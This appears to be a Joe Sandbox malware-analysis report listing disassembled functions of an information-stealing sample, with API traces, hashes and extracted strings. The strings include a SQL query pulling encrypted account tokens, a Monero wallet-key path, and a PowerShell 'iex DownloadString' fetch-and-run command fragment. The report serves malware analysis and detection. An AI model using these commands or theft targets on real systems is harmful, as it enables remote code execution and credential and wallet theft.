Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 33f5786276eaf209e50f530d96e8186e72b2ee3e7ffe326908e743d51c9aebb3
Instruction ID: be00fc76eb9cd8657cdeb558cdef36094ccb8fa492b51955a6946a8a2dc56024
Opcode Fuzzy Hash: 33f5786276eaf209e50f530d96e8186e72b2ee3e7ffe326908e743d51c9aebb3
Instruction Fuzzy Hash: 39613CB580011C9BDB24EB50CC55BE9B7B9BF44304F1082E9E689A6141DF70AFC9CFA5

Function 0068BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

lstrlen.KERNEL32(00000000), ref: 0068BC9F

Part of subcall function 00698E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00698E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0068BCCD
lstrlen.KERNEL32(00000000), ref: 0068BDA5
lstrlen.KERNEL32(00000000), ref: 0068BDB9

Strings

AccountId, xrefs: 0068BCC4
AccountTokens, xrefs: 0068BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0068BBEB
AccountTokens, xrefs: 0068BABA

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 38a996a53ce870b519aa013f7fbb20251ce05e65fa8fc5aef0ac70a9ab06d81f
Instruction ID: b8b1f8409d98e8cd909572619cedec3c26b8d2eea17923cd6a1b05ed608e1686
Opcode Fuzzy Hash: 38a996a53ce870b519aa013f7fbb20251ce05e65fa8fc5aef0ac70a9ab06d81f
Instruction Fuzzy Hash: FEB12B719201189BDF44FBE0DD96EEE73BEBF14300F40415CF506A6591EE346A49CBAA

Function 00696770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00696774
ExitProcess.KERNEL32 ref: 006967A5
ExitProcess.KERNEL32 ref: 006967AF
ExitProcess.KERNEL32 ref: 006967B9
ExitProcess.KERNEL32 ref: 006967C3
ExitProcess.KERNEL32 ref: 006967CD

Strings

*, xrefs: 0069678C

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: a3994cf969457cde15c60657038b488ee9885195568b9cf470cce0611abc5d6e
Instruction ID: f9f427c572ab6a67ac0c4e0525b1532d487a78faf117dedd3129fc90ed726f3d
Opcode Fuzzy Hash: a3994cf969457cde15c60657038b488ee9885195568b9cf470cce0611abc5d6e
Instruction Fuzzy Hash: AEF0583090820DEFD748AFE0ED1DB6CBB74FB0470BF040199F6498A790EA704B419BA6

Function 00684FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00684FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00684FD1
InternetOpenA.WININET(006A0DDF,00000000,00000000,00000000,00000000), ref: 00684FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00685011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00685041
InternetCloseHandle.WININET(?), ref: 006850B9
InternetCloseHandle.WININET(?), ref: 006850C6

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 0d8a3f328a323e6307e5b9bc4b42c16d9edc667166106e46834a90dfbaa69932
Instruction ID: 484b7ca5b4d2e89440ad203d420dd7a64f0be1a829e6283a07587bbc101438ac
Opcode Fuzzy Hash: 0d8a3f328a323e6307e5b9bc4b42c16d9edc667166106e46834a90dfbaa69932
Instruction Fuzzy Hash: 7331E4B4A0021CABDB24DF54DC89BDDB7B5FB48708F1081D9EA09A7281D7706AC58F99

Function 006983DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00698426
wsprintfA.USER32 ref: 00698459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0069847B
RegCloseKey.ADVAPI32(00000000), ref: 0069848C
RegCloseKey.ADVAPI32(00000000), ref: 00698499

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

RegQueryValueExA.ADVAPI32(00000000,0148E2C0,00000000,000F003F,?,00000400), ref: 006984EC
lstrlen.KERNEL32(?), ref: 00698501
RegQueryValueExA.ADVAPI32(00000000,0148E1D0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,006A0B34), ref: 00698599
RegCloseKey.ADVAPI32(00000000), ref: 00698608
RegCloseKey.ADVAPI32(00000000), ref: 0069861A

Strings

%s\%s, xrefs: 0069844D

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 3cc7d79d73d6e6218b3bbd559e619537b6412b530e9c9303d0cd61305a888e50
Instruction ID: d43f031d78324e430754a0d7ac8fb52dd1c93ca5ba51c03f7c7904f3f0f632ad
Opcode Fuzzy Hash: 3cc7d79d73d6e6218b3bbd559e619537b6412b530e9c9303d0cd61305a888e50
Instruction Fuzzy Hash: 3721D67191022CAFDB68DB54DC85FE9B3B9FB48704F00C598A649A6240DE71AA85CFE4

Function 00697690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006976A4
RtlAllocateHeap.NTDLL(00000000), ref: 006976AB
RegOpenKeyExA.ADVAPI32(80000002,0147C278,00000000,00020119,00000000), ref: 006976DD
RegQueryValueExA.ADVAPI32(00000000,0148E218,00000000,00000000,?,000000FF), ref: 006976FE
RegCloseKey.ADVAPI32(00000000), ref: 00697708

Strings

Windows 11, xrefs: 006976BD

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: fec9e69d27e84c41e15e5c19e2d0e688c0bd42f15acc8c533baeb688be7d67a6
Instruction ID: eca3a8a2fd42452c9dc7913312eb2aa4cab177b105e3fd6d8e01069622f18d4f
Opcode Fuzzy Hash: fec9e69d27e84c41e15e5c19e2d0e688c0bd42f15acc8c533baeb688be7d67a6
Instruction Fuzzy Hash: 0E0162B5A04208BBEB04DBE4DC4DFBEB7BDFB48705F104054FA04EB290D67099048B51

Function 00697720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00697734
RtlAllocateHeap.NTDLL(00000000), ref: 0069773B
RegOpenKeyExA.ADVAPI32(80000002,0147C278,00000000,00020119,006976B9), ref: 0069775B
RegQueryValueExA.ADVAPI32(006976B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0069777A
RegCloseKey.ADVAPI32(006976B9), ref: 00697784

Strings

CurrentBuildNumber, xrefs: 00697771

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: e079cccb25b1c0f5a72a43c77416fe0d1fdf9d50b91cb191057724721e04f7db
Instruction ID: f23030703108f302c0a53459626327028e8a21bd1548e73eff2321a411ba3e0a
Opcode Fuzzy Hash: e079cccb25b1c0f5a72a43c77416fe0d1fdf9d50b91cb191057724721e04f7db
Instruction Fuzzy Hash: AB01FFB5A40308BBEB04DBE4DC4AFAEB7B8FB48705F104559FA05A7281DA715A008B51

Function 006992E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:i,80000000,00000003,00000000,00000003,00000080,00000000,?,00693AEE,?), ref: 006992FC
GetFileSizeEx.KERNEL32(000000FF,:i), ref: 00699319
CloseHandle.KERNEL32(000000FF), ref: 00699327

Strings

:i, xrefs: 00699311, 0069933D, 00699314
:i, xrefs: 006992F8, 006992FB

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :i$:i
API String ID: 1378416451-3159782484
Opcode ID: fa9ff69ce0106284e29a6f71f51700d4b72881d024939a2a0cc4a1aa7005de83
Instruction ID: b6483a82c526e8679f64a02452f71716c278dff5426dab02b160c6d990979f93
Opcode Fuzzy Hash: fa9ff69ce0106284e29a6f71f51700d4b72881d024939a2a0cc4a1aa7005de83
Instruction Fuzzy Hash: F1F01475E40208ABDF14DFB4DC49F9E77BABB48720F108258AA91A72C0D671AA018B60

Function 006899C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006899EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00689A11
LocalAlloc.KERNEL32(00000040,?), ref: 00689A31
ReadFile.KERNEL32(000000FF,?,00000000,0068148F,00000000), ref: 00689A5A
LocalFree.KERNEL32(0068148F), ref: 00689A90
CloseHandle.KERNEL32(000000FF), ref: 00689A9A

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 11e7786939399dafd02f473276b2a185c402d62c46f62af2909560beddbda477
Instruction ID: 765e87513dbaaae75a2fdaa2f3b445dde7baf82764d28dc5f07e325306fbc69e
Opcode Fuzzy Hash: 11e7786939399dafd02f473276b2a185c402d62c46f62af2909560beddbda477
Instruction Fuzzy Hash: DC31F3B4A00209EFDB18DF94C985BEE77BABF48304F108258E911A7390D775AA41CFA1

Function 00694780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0148E5F0), ref: 006947DB

Part of subcall function 00698DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00698E0B

lstrcat.KERNEL32(?,00000000), ref: 00694801
lstrcat.KERNEL32(?,?), ref: 00694820
lstrcat.KERNEL32(?,?), ref: 00694834
lstrcat.KERNEL32(?,0147B658), ref: 00694847
lstrcat.KERNEL32(?,?), ref: 0069485B
lstrcat.KERNEL32(?,0148DA20), ref: 0069486F

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 00698D90: GetFileAttributesA.KERNEL32(00000000,?,00681B54,?,?,006A564C,?,?,006A0E1F), ref: 00698D9F

Part of subcall function 00694570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00694580
Part of subcall function 00694570: RtlAllocateHeap.NTDLL(00000000), ref: 00694587
Part of subcall function 00694570: wsprintfA.USER32 ref: 006945A6
Part of subcall function 00694570: FindFirstFileA.KERNEL32(?,?), ref: 006945BD

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: db0faa8aeac9e54bec5eacabfa5c1789ea3bef9fef31d560ddf27f1ea503c7b2
Instruction ID: d5c2a67e9a39eb1cbaa07e4991f9ca75f096378449b7f9dab660a76c21a7b2e0
Opcode Fuzzy Hash: db0faa8aeac9e54bec5eacabfa5c1789ea3bef9fef31d560ddf27f1ea503c7b2
Instruction Fuzzy Hash: 37316EB290021CABCB54FBB0DC85EE9737DBB48704F40459DB31996081EE749689CB9A

Function 00692C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

ShellExecuteEx.SHELL32(0000003C), ref: 00692D85

Strings

<, xrefs: 00692D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00692D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00692CC4
')", xrefs: 00692CB3

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
